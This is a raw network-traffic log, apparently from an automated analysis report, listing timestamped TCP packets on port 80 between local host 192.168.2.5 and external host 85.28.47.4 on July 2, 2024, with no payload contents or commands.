Jul 2, 2024 04:12:06.821283102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821290016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821297884 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821301937 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821331024 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821396112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821405888 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821420908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821429968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821444988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821446896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821446896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821458101 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821470976 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821475983 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821485043 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821496964 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821499109 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821513891 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821520090 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821531057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821537018 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821544886 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821558952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821563959 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821571112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821583033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821587086 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821599007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821608067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821609020 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821620941 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821625948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821634054 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821644068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821650028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821651936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821660042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821667910 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821681023 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821698904 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821702003 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821716070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821717978 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821731091 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821741104 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821744919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821754932 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821758032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821763992 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821768999 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821779966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821785927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821799040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821800947 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821806908 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821814060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821820974 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821832895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821835995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821844101 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821855068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821861029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821863890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821875095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821877003 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821887016 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821898937 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821903944 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821914911 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821916103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821928024 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821933985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821945906 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821949959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821954966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821965933 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821973085 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821975946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.821985006 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.821994066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822002888 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822004080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822016954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822021961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822022915 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822022915 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822047949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822053909 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822057962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822074890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822076082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822086096 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822101116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822103977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822118044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822119951 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822130919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822143078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822143078 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822156906 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822165966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822170019 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822175026 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822185040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822196007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822206974 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822211027 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822221041 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822221994 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822237015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822247028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822251081 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822282076 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822475910 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822484970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822499990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822509050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822521925 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822524071 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822530031 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822536945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822550058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822557926 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822566032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822567940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822577000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822593927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822593927 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822602034 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822616100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822624922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822628975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822639942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822648048 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822649956 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822659016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822668076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822676897 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822678089 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822693110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822694063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822706938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822716951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822717905 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822732925 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822737932 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822747946 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822760105 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822763920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822772980 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822782993 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822794914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822803974 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822805882 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822823048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822830915 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822838068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822848082 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822854042 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822859049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822868109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822871923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822875023 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822882891 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822897911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822904110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822906971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822925091 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822926044 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822933912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822942972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822952986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822963953 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822964907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822979927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.822982073 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.822993040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.823005915 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.823008060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.823021889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.823026896 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.823034048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.823046923 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.823048115 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.823060036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.823069096 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.823091984 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.824944019 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.824953079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.824969053 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.824984074 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.825000048 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.825071096 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.825079918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.825094938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.825103045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.825110912 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.825119019 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.825128078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.825138092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.825145006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.825155973 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.825156927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.825171947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.825177908 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.825182915 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.825189114 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.825196981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.825200081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.825213909 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.825237036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834141970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834194899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834208965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834269047 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834285021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834295034 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834311962 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834331989 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834342003 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834342957 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834361076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834371090 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834378958 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834413052 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834439039 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834450006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834465981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834476948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834486008 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834495068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834503889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834527969 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834558964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834563017 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834573030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834590912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834599972 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834603071 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834624052 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834626913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834639072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834650040 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834659100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834676027 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834677935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834683895 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834705114 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834714890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834743023 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834753990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834772110 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834780931 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834785938 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834801912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834809065 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834815979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834832907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834845066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834846973 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834862947 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834863901 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834862947 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834872961 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834873915 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834892988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834903002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834903002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834904909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834913969 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834924936 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834933996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834933996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834948063 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834953070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834956884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834975958 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.834976912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.834988117 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835001945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835004091 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835016012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835024118 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835032940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835042953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835053921 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835057974 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835061073 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835069895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835084915 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835089922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835099936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835128069 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835541010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835551977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835568905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835588932 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835589886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835599899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835611105 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835619926 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835633993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835638046 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835659027 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835664034 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835670948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835678101 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835690975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835692883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835716963 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835728884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835737944 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835748911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835766077 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835777044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835782051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835812092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835813999 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835828066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835844040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835851908 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835855961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835877895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835886955 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835892916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835895061 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835908890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835921049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.835932016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.835957050 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:06.923192978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:06.923331022 CEST	49704	80	192.168.2.5	85.28.47.4
